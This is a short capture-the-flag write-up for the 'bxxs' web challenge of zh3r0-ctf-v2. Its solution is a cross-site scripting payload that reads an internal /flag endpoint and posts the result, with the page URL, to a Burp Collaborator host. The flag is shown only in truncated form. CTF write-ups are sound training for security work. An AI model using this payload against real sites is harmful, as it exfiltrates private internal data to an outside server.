zh3r0-ctf-v2

CTF Writeup - https://ctftime.org/event/1285

Home Other writeups of zh3r0-ctf-v2
13 June 2021

bxxs

by shreyas-sriram

We’ve made some new epic updates to our website. Could you send us some feedback on it ?

link - bxxs

Solution

<script>
  location="//leet.burpcollaborator.net/";
</script>
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.readyState == 4) {
    var req = new XMLHttpRequest();
    req.open("POST", "http://leet.burpcollaborator.net/givemeflag?c="+window.location.href,true);
    req.send(xhttp.responseText);
  }
};
xhttp.open("GET", "http://0.0.0.0:8080/flag", true);
xhttp.send();
</script>

Flag

zh3r0
tags: Web